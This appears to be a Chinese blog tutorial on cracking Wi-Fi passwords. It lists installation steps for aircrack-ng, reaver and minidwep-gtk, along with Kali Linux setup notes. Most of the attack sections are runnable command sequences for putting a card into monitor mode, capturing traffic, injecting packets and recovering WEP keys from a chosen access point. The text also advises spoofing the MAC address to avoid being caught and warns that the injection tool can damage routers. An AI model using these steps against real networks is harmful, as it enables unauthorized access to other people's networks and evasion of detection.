【1】wifi破解
【2】ubuntu14.0.4安装步骤
【3】Ubuntu下Aircrack-ng工具包的使用
【4】常用芯片类型
【5】kali2019安装


【1】wifi破解
1.wep加密:此类加密比较老旧,现在的无线路由器已经很少使用此类加密方式,破解只需要大量的数据包即可。
2.WPA / WPA2 PSK加密:这类加密是很安全的,破解的方式是抓握手包然后跑字典。
3.一部分路由器为了方便用户,设置了QSS快速连接功能(或者叫WPS功能)。破解方式是抓握手包跑字典和跑PIN码2种。

【2】ubuntu14.0.4安装步骤
原文连接

  • 安装依赖
    sudo apt-get install build-essential libssl-dev iw libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev libssl0.9.8 libnl libnl-dev
  • 安装aircrack-ng-1.1
tar xvf aircrack-ng-1.1.tar.gz -C ./
cd aircrack-ng-1.1
#修改common.mak 这个文件,找到:CFLAGS          ?= -g -W -Wall -Werror -O3
修改为:CFLAGS          ?= -g -W -Wall -O3#开始安装:sudo makesudo make install

#错误解决(Run ‘airodump-ng-oui-update’ as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required).)
sudo airodump-ng-oui-update

#ubuntu 中 aircrack-ng 使用教程
1、启动无线网卡的监控模式,在终端中输入:sudo airmon-ng start wlan0   #wlan0是无线网卡的端口,可用命令 ifconfig 查看
2、查看无线AP在终端中输入:sudo airodump-ng mon0 #mon0 是启动监控模式后无线网的端口(虚拟网卡),查看有哪些采用wep加密的AP在线,然后按 ctrl+c 中止,不要关闭终端。
3、抓包,打开另一个终端,输入:airodump-ng -c 7 -w wep --bssid CC:08:FB:8C:1E:67 mon0 #-c 后面跟着的6是要破解的AP工作频道,–bissid后面跟着欲破解AP的MAC地址,-w后面跟着wep的是抓下来的数据包DATA保存的文件名,具体情况根据步骤2里面的在线AP更改频道和MAC地址,DATA保存的文件名可随便命名
4、与AP建立虚拟连接,再打开一个新终端,输入:sudo aireplay-ng -1 0 -a AP’s MAC -h My MAC mon0   #-h后面跟着的My MAC是自己的无线网卡的MAC地址,即ifconfig命令下wlan0对应的mac地址
5、进行注入,成功建立虚拟连接后输入:sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP’s MAC -h My MAC mon0 #现在回头看下步骤3的终端是不是DATA在开始飞涨!(那串ff照抄就行)
6、解密,收集有15000个以上的DATA之后,另开一个终端,切换到aircrack-ng-1.1目录,执行以下命令sudo aircrack-ng wep*.cap #进行解密,如果没算出来的话,继续等,aircrack-ng 会在DATA每增加多15000个之后就自动再运行,直到算出密码为至,注意此处文件的名字要与步骤3里面设置的名字一样,且*号是必需的
7、收工,破解出密码后在终端中输入 sudo airmon-ng stop mon0   #关闭监控模式,不然无线网卡会一直向刚刚的AP进行注入的,用ctrl+c退出或者直接关闭终端都是不行的。
8、如果要卸载ubuntu 上的aircrack-ng,可切换到aircrack-ng-1.1 目录,执行sudo make uninstall
  • 安装reaver-1.4
cd reaver-1.4
cd src
./configure
sudo make
sudo make install
  • 安装minidwep-gtk-40420-ubuntu-64bit
    sudo dpkg -i minidwep-gtk-40420-ubuntu-64bit.deb
    #运行软件
    sudo minidwep-gtk

  • 常见错误

1.avahi-daemon进程导致网卡监控模式无法打开
#Avahi 是 zeroconf 协议的实现。它可以在没有 DNS 服务的局域网里发现基于 zeroconf 协议的设备和服务。它跟 mDNS 一样。除非你有兼容的设备或使用 zeroconf 协议的服务,否则应该关闭它。
/etc/init.d/avahi-daemon stop or service avahi-daemon  stop

【3】Ubuntu下Aircrack-ng工具包的使用
原文链接

安装:$sudo apt-get install aircrack-ng
Aircrack-ng无线破解工具包有很多工具,用到的工具主要有以下几个:
airmon-ng处理网卡工作模式
airodump-ng抓包
aircrack-ng破解
aireplay-ng发包,干扰
1)airmon-ng,启动无线网卡进入Monitor模式,useage:airmon-ng<start|stop|check><interface>[channel]<start|stop|check>:启动,停止,检测<interface>:指定无线网卡[channel]:监听频道,现代大多数无线路由默认是6,随便扫描一下都是这个频道,网管们应该换换了
2)airodump-ng,抓包工具,详细用法如下:usage:airodump-ng<options><interface>[,<interface>,...]Options:–ivs:仅将抓取信息保存为.ivs–write<prefix>:保存为指定日文件名,我一般用这个,尤其是多个网络时,指定了也好区分–beacons:保存所有的beacons,默认情况况下是丢弃那些无用的数据包的Filteroptions:–encrypt<suite>:使用密码序列过滤AP–netmask<netmask>:使用掩码过滤AP-bssid<bssid>:使用bssid过滤AP-a:过滤无关的客户端–help:显示使用方法,翻译到这里,感觉还是英文的贴切一点,建议读原文3)aireplay-ng,搞破坏的工具,注意杀伤力很大,甚至可以损坏劣质的AP设备(小内存的路由器可能会重启,或者彻底被破坏掉)usage:aireplay-ng<options><replayinterface>Filteroptions:-bbssid:AP的MAC-ddmac:目标的MAC-ssmac:来源的MAC-mlen:最小包长度-nlen:最大包长度-D:禁用AP发现功能Replayoptions:-xnbpps:每秒包数量-pfctrl:框架设定(hex)-abssid:设置AP的mac-cdmac:设置目标的MAC-hsmac:设置来源的mac-gvalue:改变环缓存大小(默认8)Fakeauthattackoptions:-eessid:设置目标AP的SSID-onpckts:每秒爆破的包数量(0自动,默认1)-qsec:存活时间秒-yprga:共享可信的key流–help:显示这个帮助,这部分是全部依照我的使用来翻译,没有完全准确的翻译,主要对付那些不给出作者就引用的人,鄙视抄袭.
4)aircrack-ng,破解KEY,漫长的过程.漫不漫长取决于两个方面:一是网管的聪明程度(能否设置出复杂的密码),二是电脑的速度.usage:aircrack-ng[options]<.cap/.ivsfile(s)>Commonoptions:-a<amode>:暴破(1/WEP,2/WPA-PSK)-e<essid>:选择essid为目标-b<bssid>:选择ap的mac为目标,就是破解识别的关键字-q:使用安静模式,无数出模式-C<macs>:将所有的AP合并为一个虚拟的–help:显示这个帮助
#就WEP破解说明,步骤:
1.修改无线网卡状态:先down掉
2.伪造无线网卡的MAC地址:安全起见,减少被抓到的可能
3.修改网卡工作模式:进入Monitor状态,会产生一个虚拟的网卡
4.修改无线网卡状态:up
5.查看网络状态,记录下AP的MAC和本机的MAC,确定攻击目标
6.监听抓包:生成.cap或.ivs
7.干扰无线网络:截取无线数据包,发送垃圾数据包,用来获得更多的有效数据包
8.破解.cap或.ivs,获得WEP密码,完成破解

【4】常用芯片类型
用于抓取无线数据包稳定和兼容比较好的三款芯片:
1.RT3070(L)/RT5572:即插即用支持混杂模式、注入模式、AP模式。
2.RT8187(L):即插即用支持混杂模式、注入模式、AP模式。
3.AR9271:即插即用支持混杂模式、注入模式、AP模式。
对于Linux(像Ubuntu、Kali、Debian、Centos等等),这三款芯片即插即用,无需再手动安装驱动。

  • 以下是一些可以在kali上正常工作的芯片组:
    Atheros AR9271
    Ralink RT3070
    Ralink RT3572
    Realtek 8187L (Wireless G adapters)
    Realtek RTL8812AU (2017年新增)
    Ralink RT5370N

  • CDLINUX支持的芯片
    雷凌Ralink 3070芯片
    瑞昱Realtek 8187L芯片

【5】kali2019安装
Kali下载地址
安装教程

#Kali Linux 镜像 各个版本之间的区别
按处理器架构来划分的话,有 64 bit、32 bit、armhf、armel等版本。加light的是轻量版。
e17、Mate、LXDE等是不同的桌面环境。
Kali Linux 2016.2 支持GNOME、KDE、Mate、LXDE和Enlightenment等桌面环境。
#kali2019.2 安装要求,vmware15
  • 配置静态IP
  • 开启ssh
#修改sshd_config文件vim /etc/ssh/sshd_config将#PasswordAuthentication no的注释去掉,并且将NO修改为YES //kali中默认是yes将PermitRootLogin without-password修改为PermitRootLogin yes
#重启sshservice ssh restart
#开机启动update-rc.d ssh enable  //系统自动启动SSH服务update-rc.d ssh disabled // 关闭系统自动启动SSH服务
  • ll命令不能使用
#修改.bashrc文件vim ~/.bashrcalias ll='ls -l'  #添加别名
source ~/.bashrc
  • 安装rtl8812au驱动
#配置apt源vim /etc/apt/sources.listdeb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribapt-get update
apt install realtek-rtl88xxau-dkms
#设置usb3.0并重启
  • 安装minidwep-gtk-40420-ubuntu-64bit
    sudo dpkg -i minidwep-gtk-40420-ubuntu-64bit.deb
    #运行软件
    reboot
    sudo minidwep-gtk

使用minidwep-gtk相关推荐

  1. linux奶瓶U盘使用方法,CDlinux如何制作U盘启动及Beini(奶瓶)制作U盘启动的方法...

    最近在研究无线网络安全.查了一下,在BT5之外还有一个很强大而便捷且专一的无线安全审计工具Beini,不过Beini原版系统比较简洁点,集成的功能单一.而国内CDlinux思维论坛针对Beini做了二 ...

  2. linux奶瓶安装教程,CDlinux如何制作U盘启动及Beini(奶瓶)制作U盘启动的方法

    最近在研究无线网络安全.查了一下,在BT5之外还有一个很强大而便捷且专一的无线安全审计工具Beini,不过Beini原版系统比较简洁点,集成的功能单一.而国内CDlinux思维论坛针对Beini做了二 ...

  3. linux中用gtk编写的聊天室能运行的,CHAT_ROOM

    CHAT_ROOM 所属分类:Linux/Unix编程 开发工具:Unix_Linux 文件大小:191KB 下载次数:7 上传日期:2016-05-25 16:57:56 上 传 者:褚克珍 说明: ...

  4. 【Qt】ubuntu14.04.5 qt5.6中使用opencv3.4报错:Using GTK+ 2.x and GTK+ 3 in the same process is not supported

    问题描述 ubuntu14.04.5 qt5.6中使用opencv3.4报错: Using GTK+ 2.x and GTK+ 3 in the same process is not support ...

  5. gtk移植到嵌入式_入行嵌入式研发10多年,一位工程师悟出了这些道理

    嵌入式行业需要什么样的技术人才? 仔细观察各种招聘的岗位要求吧,无非是两方面. (1)通用要求 比如什么学历,多少年工作经验,有创新精神,抗压能力强,吃苦耐劳,善于沟通,态度认真等等等等... (2) ...

  6. GTK+ 项目名终于去掉了那个加号

    开发四年只会写业务代码,分布式高并发都不会还做程序员?   经过广泛讨论,GTK+ 团队决定将项目名中的加号"+"移除,重命名"GTK+"为"GTK& ...

  7. wxWidgets编译安装gtk问题的解决办法

    下面是google到的一篇博文.我在centos5.3中想安装amule,结果编译时,提示没找到wxWidgets退出了.只好又去下了wxWidgets,还是源码,需要编译.编译中出现和下面这位网友一 ...

  8. centos 7 安装GTK+-2.0

    问题:The development files for GTK+ were not found. 解决如下 1 yum install libgtk2.0*, #gtk+-2.0所需的所有文件将统通 ...

  9. 基于X的GNOME、GTK、GDK、XLib、GLib等之间的关系

    基于X的GNOME.GTK.GDK.XLib.GLib等之间的关系 什么是Xlib? The X Library是X Window程式最低階的API,如果拿來和Windows 比較起來,Xlib 就和 ...

  10. GTK+图形化应用程序开发学习笔记

    http://blog.chinaunix.net/u/22935/showart_305786.html 一.初始化GTK+ 写GTK+程序需要调用gtk_init函数对GTK+ 库函数进行初始化. ...

最新文章

  1. 用友现存量和可用量_护肤品用量不对,不仅变相浪费还有可能……
  2. opencv画框返回坐标 python_python opencv鼠标事件实现画框圈定目标获取坐标信息
  3. Leetcode 122.买卖股票的最佳时机 II (每日一题 20210618)
  4. 基于mondrian的多维分析系统
  5. lfu算法实现c语言_哈希查找算法(C语言实现)
  6. java dom no protocol_DOM
  7. Docker容器的简单操作及应用部署
  8. JS如何判断浏览器类型和详细区分IE各版本浏览器
  9. python读取大文件太慢_强悍的Python读取大文件的解决方案
  10. mybatis 原理_了解Mybatis的工作原理吗
  11. Vivado安装教程补丁
  12. 大数据处理与分析---课程总结
  13. 用java制作扑克牌_Java程序设计之扑克牌
  14. POI导出word单元格合并
  15. 知其然也知其所以然,Redis笔记总结:核心原理与应用实践
  16. 基于注解实现SpringMVC的配置文件
  17. 栈(也被称作堆栈,一种遵循先进后出原则的数据结构)
  18. 爬取全民K歌用户歌曲
  19. 2020 试卷中的生词(05)
  20. JTAG接口和SWD接口定义

热门文章

  1. 【智能制造】智能制造50大产业链全景图
  2. ShaderJoy —— 最简单的 “RayTrace(光线追踪)” 的实现 【GLSL】
  3. 华表(cell)的使用总结
  4. 自制纯正弦波 12V转220V 1000瓦逆变器做家用太阳能电源
  5. 高频直流电源在整改、降压和作用方面解决方案
  6. 各层电子数排布规则_原子核外电子排布规律性质-1~36号原子结构示意图-电子层排布规律...
  7. python 模拟登陆QQ空间
  8. 手机阅读“宝”——Apabi Reader for Android
  9. 计算机知识培训内容,学电脑,培训哪些内容
  10. mysql java驱动 ibm_各种数据库的jdbc驱动下载及连接方式